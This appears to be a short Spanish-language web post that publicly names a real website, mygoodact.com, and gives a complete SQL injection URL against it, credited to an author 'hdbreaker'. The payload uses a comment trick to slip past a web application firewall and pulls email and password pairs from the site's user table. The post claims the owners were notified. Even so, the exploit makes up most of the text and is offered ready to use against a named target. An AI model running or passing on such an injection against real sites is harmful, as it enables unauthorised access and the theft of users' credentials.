SQLI WAF Bypass mygoodact.com

Todos los sitios expuestos en esta sección han sido reportados y hemos ofrecido nuestro servicios para lograr solucionar las fallas de seguridad en sus sistemas, si estos fallos siguen vigentes es por puro desinterés y mala administración de los encargados.

SQLI

Sitio: http://www.mygoodact.com/

Vector:
http://www.mygoodact.com/collectiondetailperson.php?id=212+/*!union*/+select+1,group_concat(concat_ws(char(58),email,pass) SEPARATOR 0x7e),3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64+from+m_user+limit+1,1--+

Autor: hdbreaker

Share this: